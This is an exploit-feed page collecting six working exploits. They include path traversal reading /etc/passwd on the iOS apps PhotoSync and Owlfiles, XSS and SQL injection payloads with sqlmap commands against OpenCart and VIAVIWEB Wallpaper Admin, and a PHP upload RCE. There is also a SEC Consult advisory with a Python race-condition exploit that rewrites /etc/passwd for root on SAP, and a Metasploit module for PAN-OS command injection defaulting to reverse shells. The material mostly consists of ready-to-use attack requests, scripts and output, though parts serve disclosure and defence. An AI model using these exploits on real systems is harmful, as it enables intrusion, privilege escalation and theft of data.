Latest exploits :: CodePwn

<pre><code># Exploit Title: PhotoSync 4.7 IOS APP Local file inclusion # Date: Sep 19, 2022 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://www.photosync-app.com/home.html # Software Link: https://apps.apple.com/us/app/photosync-transfer-photos/id415850124 # Version: 4.7 # Tested on: iPhone IOS 16.0 GET /../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: 192.168.8.101:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ------- HTTP/1.1 200 OK Date: Mon, 19 Sep 2022 06:35:11 GMT Accept-Ranges: bytes Content-Length: 2791 ## # User Database # # This file is the authoritative user database. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh mobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false _installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false _neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false _ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false _securityd:*:64:64:securityd:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false _usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false _distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false _astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false _ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false _findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false _datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false _captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false _analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false _timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false _gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false _reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false _driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false _diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false _logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false _iconservices:*:276:276:Icon services:/var/empty:/usr/bin/false _rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false _accessoryupdater:*:278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false _knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false _coreml:*:280:280:CoreML Services:/var/empty:/usr/bin/false _sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false _trustd:*:282:282:trustd:/var/empty:/usr/bin/false _mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false _darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false _notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false _backboardd:*:287:287:BackBoard:/var/empty:/usr/bin/false _avphidbridge:*:288:288:Apple Virtual Platform HID Bridge:/var/empty:/usr/bin/false _launchservices:*:290:290:Launch Services:/var/empty:/usr/bin/false </code></pre>

<pre><code># Exploit Title: Owlfiles File Manager 12.0.1 - multi vulnerabilities # Date: Sep 19, 2022 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://www.skyjos.com/ # Software Link: https://apps.apple.com/us/app/owlfiles-file-manager/id510282524 # Version: 12.0.1 # Tested on: Ios 16.0 ########### path traversal on HTTP built-in server ########### GET /../../../../../../../../../../../../../../../System/ HTTP/1.1 Host: 192.168.8.101:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 If-None-Match: 42638202/1663558201/177889085 If-Modified-Since: Mon, 19 Sep 2022 03:30:01 GMT Connection: close Content-Length: 0 ------- HTTP/1.1 200 OK Cache-Control: max-age=3600, public Content-Length: 317 Content-Type: text/html; charset=utf-8 Connection: Close Server: GCDWebUploader Date: Mon, 19 Sep 2022 05:01:11 GMT <!DOCTYPE html> <html><head><meta charset="utf-8"></head><body> <ul> <li><a href="Cryptexes/">Cryptexes/</a></li> <li><a href="DriverKit/">DriverKit/</a></li> <li><a href="Library/">Library/</a></li> <li><a href="Applications/">Applications/</a></li> <li><a href="Developer/">Developer/</a></li> </ul> </body></html> ############# LFI on HTTP built-in server ############# GET /../../../../../../../../../../../../../../../etc/hosts HTTP/1.1 Host: 192.168.8.101:8080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 X-Requested-With: XMLHttpRequest Referer: http://192.168.8.101:8080/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ---- HTTP/1.1 200 OK Connection: Close Server: GCDWebUploader Content-Type: application/octet-stream Last-Modified: Sat, 03 Sep 2022 01:37:01 GMT Date: Mon, 19 Sep 2022 03:28:14 GMT Content-Length: 213 Cache-Control: max-age=3600, public Etag: 1152921500312187994/1662169021/0 ## # Host Database # # localhost is used to configure the loopback interface # when the system is booting. Do not change this entry. ## 127.0.0.1 localhost 255.255.255.255 broadcasthost ::1 localhost ############### path traversal on FTP built-in server ############### ftp> cd ../../../../../../../../../ 250 OK. Current directory is /../../../../../../../../../ ftp> ls 200 PORT command successful. 150 Accepted data connection total 10 drwxr-xr-x 0 root wheel 256 Jan 01 1970 usr drwxr-xr-x 0 root wheel 128 Jan 01 1970 bin drwxr-xr-x 0 root wheel 608 Jan 01 1970 sbin drwxr-xr-x 0 root wheel 224 Jan 01 1970 System drwxr-xr-x 0 root wheel 640 Jan 01 1970 Library drwxr-xr-x 0 root wheel 224 Jan 01 1970 private drwxr-xr-x 0 root wheel 1131 Jan 01 1970 dev drwxr-xr-x 0 root admin 4512 Jan 01 1970 Applications drwxr-xr-x 0 root admin 64 Jan 01 1970 Developer drwxr-xr-x 0 root admin 64 Jan 01 1970 cores WARNING! 10 bare linefeeds received in ASCII mode File may not have transferred correctly. 226 Transfer complete. ftp> ############# XSS on HTTP built-in server ############# poc 1: http://192.168.8.101:8080/download?path=<script>alert(rose)</script> poc 2: http://192.168.8.101:8080/list?path=<script>alert(rose)</script> </code></pre>

<pre><code># Exploit Title: OpenCart v3.x So Newsletter Custom Popup Module - Blind SQL Injection # Date: 18/09/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.opencart.com/ # Software Link: https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=40259&filter_search=newsletter&filter_license=1&sort=date_added # Version: v.4.0 # Tested on: XAMPP, Linux # Contact: https://twitter.com/dmaral3noz * Description : So Newsletter Custom Popup Module is compatible with any Opencart allows SQL Injection via parameter 'email' in index.php?route=extension/module/so_newletter_custom_popup/newsletter. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. * Steps to Reproduce : - Go to : http://127.0.0.1/index.php?route=extension/module/so_newletter_custom_popup/newsletter - Save request in BurpSuite - Run saved request with : sqlmap -r sql.txt -p email --random-agent --level=5 --risk=3 --time-sec=5 --hex --dbs Request : =========== POST /index.php?route=extension/module/so_newletter_custom_popup/newsletter HTTP/1.1 Content-Type: application/x-www-form-urlencoded Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate Content-Length: 29 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Connection: Keep-alive createdate=2022-8-28%2019:4:6&email=hi&status=0 =========== Output : Parameter: #1* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: createdate=2022-8-28 19:4:6&email=hi' AND 4805=4805-- nSeP&status=0 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: createdate=2022-8-28 19:4:6&email=hi' AND (SELECT 4828 FROM(SELECT COUNT(*),CONCAT(0x7176627071,(SELECT (ELT(4828=4828,1))),0x7178786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sRQS&status=0 </code></pre>

<pre><code>``` # Exploit Title: [VIAVIWEB Wallpaper Admin - Multiple vulnrabilities] # Google Dork: intext:"Wallpaper Admin" "LOGIN" "password" "Username" # Date: [18/09/2022] # Exploit Author: [Edd13Mora] # Vendor Homepage: [www.viaviweb.com] # Version: [N/A] # Tested on: [Windows 11 - Kali Linux] ------------------ SQLI on the Login page ------------------ payload --> admin' or 1=1-- - --- POC: --- [1] Disable JavaScript on ur browser put the payload and submit [2] Reactive JavaScript and resend the request --------------------------- Authenticated SQL Injection: --------------------------- Vulnerable End-Point --> http://localhost/PAth-Where-Script-Installed/edit_gallery_image.php?img_id=[number] ----------------------------------------------- Remote Code Execution (RCE none authenticated): ----------------------------------------------- Poc: ---- Vulnerable End-Point --> http://localhost/PAth-Where-Script-Installed/add_gallery_image.php?add=yes -------------------- Burp Request : -------------------- POST /hd_wallpaper/add_gallery_image.php?add=yes HTTP/2 Host: http://googlezik.freehostia.com Cookie: _octo=GH1.1.993736861.1663458698; PHPSESSID=qh3c29sbjr009jdg8oraed4o52 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------33893919268150571572221367848 Content-Length: 467 Origin: http://googlezik.freehostia.com Referer: http://googlezik.freehostia.com/hd_wallpaper/add_gallery_image.php?add=yes Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers -----------------------------33893919268150571572221367848 Content-Disposition: form-data; name="category_id" 1 -----------------------------33893919268150571572221367848 Content-Disposition: form-data; name="image[]"; filename="poc.php" Content-Type: image/png <?php phpinfo(); ?> -----------------------------33893919268150571572221367848 Content-Disposition: form-data; name="submit" -----------------------------33893919268150571572221367848-- Uploaded File can be found here : -------------------------------- http://localhost/PAth-Where-Script-Installed/categories/ ``` </code></pre>

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20220915-0 > ======================================================================= title: Local privilege escalation product: SAP® SAPControl Web Service Interface (sapuxuserchk) vulnerable version: see section "Vulnerable / tested versions" fixed version: see SAP security note 3158619 CVE number: CVE-2022-29614 impact: medium homepage: https://www.sap.com/about.html found: 2022-02-24 by: M. Li (Office Munich) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "The SAP Start Service (sapstartsrv) provides basic management services for systems and instances and single server processes. Services include starting and stopping, monitoring the current run-time state, reading logs, traces and configuration files, executing commands and retrieving other technology-specific information, like network access points, active sessions, thread list etc. They are exposed by a SOAP Web service interface named "SAPControl". This paper describes how to use this Web service interface." Source: https://assets.cdn.sap.com/sapcom/docs/2016/09/0a40e60d-8b7c-0010-82c7-eda71af511fa.pdf Business recommendation: ------------------------ SEC Consult recommends to implement the security note 3158619, where the documented issue is fixed according to the vendor. We advise installing the corrections as a matter of priority to keep business-critical data secured. Vulnerability overview/description: ----------------------------------- 1) Local privilege escalation (CVE-2022-29614) The SUID-root program sapuxuserchk erroneously follows the symbolic link to create a temporary local logon ticket and change the ownership of the target file for owner access only. As member of the group sapsys, a user can therefore escalate his/her privileges to root on a local Unix system by successfully exploiting a race condition. Proof of concept: ----------------- 1) Local privilege escalation (CVE-2022-29614) The utility sapuxuserchk is used by sapcontrol to request a temporary local logon ticket in the following way. As a result, the ticket is created in the folder /usr/sap/SEC/D00/work/sapcontrol_logon/ $ sapcontrol -nr 0 -function RequestLogonFile user0 $ ls -l logon* -rw------- 1 secadm sapsys 40 Feb 25 08:58 logon0 -rw------- 1 user0 users 40 Feb 25 09:00 logon1 -rw------- 1 root root 40 Feb 25 09:01 logon2 Since sapcontrol is supposed to create the ticket for any system user, it requires a utility with SUID bit set. The owner, group and its permission bits of sapuxuserchk of a standard installation are shown below. $ ls -l sapuxuserchk -rwsr-x--- 1 root sapsys 1312137 Feb 28 2019 sapuxuserchk The request originating from sapcontrol is first sent to the instance server sapstartsrv, piping into sapuxuserchk a 512-byte encrypted message, which contains the ticket path, user name and ticket in the plaintext, as an example shown below. $ strings input-0-plaintext SAPLOGONFILE /usr/sap/SEC/D00/work/sapcontrol_logon/logon1 user0 1133146902252676394602837452470900726967 On its duty to create the ticket, sapuxuserchk performs the sanity check to guarantee the non-existence of the file prior to the creation in the function internal_create_saplogon_file. However, it introduces a race condition between the stat and open calls, as shown by the following excerpt from strace. stat("/usr/sap/SEC/D00/work/sapcontrol_logon/logon1", 0x7ffc0d2e1530) = -1 ENOENT (No such file or directory) open("/usr/sap/SEC/D00/work/sapcontrol_logon/logon1", O_RDWR|O_CREAT|O_TRUNC, 0600) = 3 fchown(3, 1000, 100) The attacker can run a race of constantly creating a symbolic link logon1 pointing to a privileged file such as /etc/passwd and meanwhile invoke the SUID-root program sapuxuserchk, in the hope that the creation of the link take place between the stat and open calls, so that the first will fail, (meaning that the file does not exist yet) while the second as well as the ensuing fchown call succeeds. In a positive result, the attacker gains the read-write permission of the target file. The following run to winning the race took 629 attempts to finally gain the root privilege. The PoC further below lists the exploit implementing the idea above with a pre-intercepted message for user secadm. ------------------------------------------------------------------------- sh-4.3$ id uid=1001(secadm) gid=474(sapsys) groups=474(sapsys),1000(sapinst) sh-4.3$ ls -l /etc/passwd -rw-r--r-- 1 root root 2517 Feb 25 00:47 /etc/passwd sh-4.3$ python3 sapmatt.py this many tries: 629 [+] now login as sapmatt sh-4.3$ su sapmatt Password: sh-4.3# id uid=0(sapmatt) gid=0(root) groups=0(root) sh-4.3# ls -l /etc/passwd -rw-r--r-- 1 secadm sapsys 73 Feb 25 10:03 /etc/passwd $ cat sapmatt.py import sys, os, signal, base64, random, string secadm_msg = b'O9OXlWwex4ddSI5vhXFfUQvZ8Td3NWzRNIb9QN6bHY764Z0zVNuVjFHRGhHEgYgwNQDnf0/bBwzlEXCSXFkhtiDqDohuyCxG4mtRqc86FlB6DTOjBY9o/6Cb3rRSZ58jggx71JXMRk21jW3gqdem+tmqHCnIumZjodk2cuk5/MY76dsD65s3j1XrQS0RT3gPaspl/6Yb842hbVTZXVRY3cHKzNq5tZMKB2LmyyslO4xCI00eBN6k6yEKNFLvMx8lYbAIaHcfdWu3pMWVIb9rT3BoTCHwi5hBz8dHk6usdEw05q/Xuxe28gxWCUZpN09sYsd/5R8HqqLfwyiNI7CTBCA3f+fHUweJPuteD5O8bwo/mEOShHimO1gPZzhBdow2C0JszYQeQpxgRtENXPUt2qgT7TJqmItxM0puB8ry0TnKJIbk5gj0smflBPBZyTDXl+qNUmgWL1dK/SBpTUErGMVXFVBi8bNDMSUhcJa+0IQlYSBHPln17kquqhGvlRYYZVJttDNoYcvBchc4HxHZmH5pHkD4fhbcQgFT0UFgceSH1j3sE6G/M/QM1X/vTVE4534XJ3mDcFk/brOYun1dawJ30BkJ9HbP5weihwRwspOq52qRZ9CXsnJCtFPNqNWNIe8BgQUW8WV7FkiDJ+Lpp0pq8KLlZ0Yomz46YfCHkag=' # openssl passwd sappass u1_passwd = "sapmatt:wPi023oIkjHdA:0:0::/root:/bin/sh\nsecadm:x:1001:474::/tmp:/bin/sh\n" logon_symlink = "/usr/sap/SEC/D00/work/sapcontrol_logon/logon1" target_file = "/etc/passwd" g = 1024 if not os.path.isfile(logon_symlink): os.system("touch " + logon_symlink) secadm_msg = base64.b64decode(secadm_msg) msg_file = '/tmp/msg' + ''.join(random.choice(string.ascii_letters) for i in range(8)) f0 = open(msg_file, "wb") f0.write(secadm_msg) f0.close() pid = os.fork() if pid == 0: j = 0 while True: if j > g: print('done') os._exit(os.EX_OK) j += 1 os.system("/usr/sap/SEC/D00/exe/sapuxuserchk < {0} > /dev/null".format(msg_file)) else: i = 0 uid = os.getuid() success = False while not success: if i > g: print("[-] give up, link too many tries: " + str(i)) break i += 1 try: os.unlink(logon_symlink) os.symlink(target_file, logon_symlink) statinfo = os.stat(target_file) if statinfo.st_uid == uid: os.kill(pid, signal.SIGILL) print("this many tries: " + str(i)) print("[+] now login as sapmatt ") f = open(target_file, "w") f.write(u1_passwd) f.close() success = True except Exception as err: print('[-] lost the race {0}'.format(err)) os.waitpid(pid, 0) os.unlink(msg_file) ------------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following version of the binary was found to be vulnerable during our tests: * Version: 753, patch 400, changelist 1906766 According to the vendor the following products are affected by the discovered vulnerability: SAP NetWeaver AS ABAP, AS Java, ABAP Platform and HANA Database, Versions: * KERNEL 7.22, 7.49, 7.53, 7.77, 7.81, 7.85, 7.86, 7.87, 7.88 * KRNL64NUC 7.22, 7.22EXT, 7.49 * KRNL64UC 7.22, 7.22EXT, 7.49, 7.53 * SAPHOSTAGENT 7.2 Please refer to the vendor patch day post: https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10 Vendor contact timeline: ------------------------ 2022-02-25: Contacting vendor through vulnerability submission web form. 2022-03-04: Vendor confirms receipt and assigns SAP security incident number #2270008914. 2022-04-29: Requesting status update. 2022-05-05: Vendor confirms vulnerability and states it might be addressed in May 2022 patch day. 2022-06-14: Vendor releases patches with SAP security note 3158619. 2022-06-15: Requesting the confirmation of the security note on the issue. 2022-08-11: Vendor sends the link to the Acknowledgements to Security Researchers. 2022-09-02: Requesting the confirmation of the fix. 2022-09-03: Vendor confirms the issue has been fixed on June Patch Day. 2022-09-15: Public release of security advisory. Solution: --------- The following security note needs to be implemented: https://launchpad.support.sap.com/#/notes/3158619 Workaround: ----------- You can remove the SUID-bit from sapuxuserchk as temporary mitigation. # chmod 0755 sapuxuserchk Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF M. Li / @2022 </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck require 'ipaddr' class InvalidRequest < StandardError end class InvalidResponse < StandardError end def initialize(info = {}) super( update_info( info, 'Name' => 'Palo Alto Networks Authenticated Remote Code Execution', 'Description' => %q{ An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated administrators to execute arbitrary OS commands with root privileges. This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10 }, 'Author' => [ 'Mikhail Klyuchnikov', # Vulnerability discovery 'Nikita Abramov', # Vulnerability discovery 'UnD3sc0n0c1d0', # Exploit 'jheysel-r7' # msf module ], 'References' => [ ['CVE', '2020-2038'], ['URL', 'https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/'], ['URL', 'https://security.paloaltonetworks.com/CVE-2020-2038'], ['URL', 'https://github.com/und3sc0n0c1d0/CVE-2020-2038'] # Exploit ], 'DisclosureDate' => '2020-09-09', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Privileged' => true, 'Targets' => [ [ 'Linux ', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'CmdStagerFlavor' => %i[echo printf], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Unix In-Memory', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('USERNAME', [false, 'PAN-OS administrator username', 'admin']), OptString.new('PASSWORD', [false, 'Password for username', 'admin']) ] ) end def check print_status('Authenticating...') begin @api_key = api_key rescue InvalidRequest, InvalidResponse => e return Exploit::CheckCode::Safe("Error retrieving API key: #{e.class}, #{e}") end res = send_request_cgi({ 'method' => 'GET', 'keep_cookies' => 'true', 'uri' => normalize_uri(target_uri.path, 'api/'), 'vars_get' => { 'type' => 'version', 'key' => @api_key } }) return CheckCode::Unknown('The API did not respond to the request for the version of PAN_OS') unless res&.body version = Rex::Version.new(res.get_xml_document.xpath('/response/result/sw-version').text) if version >= Rex::Version.new('9.0.0') && version < Rex::Version.new('9.0.10') || version >= Rex::Version.new('9.1.0') && version < Rex::Version.new('9.1.4') || version >= Rex::Version.new('10.0.0') && version < Rex::Version.new('10.0.1') return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def api_key res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/'), 'vars_get' => { 'type' => 'keygen', 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } }) if res.nil? raise InvalidRequest, 'Unreachable' end if res.code == 401 raise InvalidRequest, 'Server returned HTTP status 401 - Authentication failed' end if res.code == 403 raise InvalidRequest, 'Server returned HTTP status 403 - Authentication failed with "Invalid Credentials"' end if res.body.blank? raise InvalidResponse, 'Empty reply from server' end key = res.get_xml_document.xpath('/response/result/key')&.text if key.nil? raise InvalidResponse, 'Empty reply from server' end print_good('Successfully obtained api key') key end def execute_command(cmd, _opts = {}) payload = "<cms-ping><host>#{IPAddr.new(rand(2**32), Socket::AF_INET)}</host><count>#{rand(1..50)}</count><pattern>111<![CDATA[||#{cmd}||]]></pattern></cms-ping>" send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/'), 'vars_get' => { 'cmd' => payload, 'type' => 'op', 'key' => @api_key } }) end def exploit begin @api_key ||= api_key rescue InvalidRequest, InvalidResponse => e fail_with(Failure::UnexpectedReply, "Error retrieving API key: #{e}") end print_status('Exploiting...') case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end </code></pre>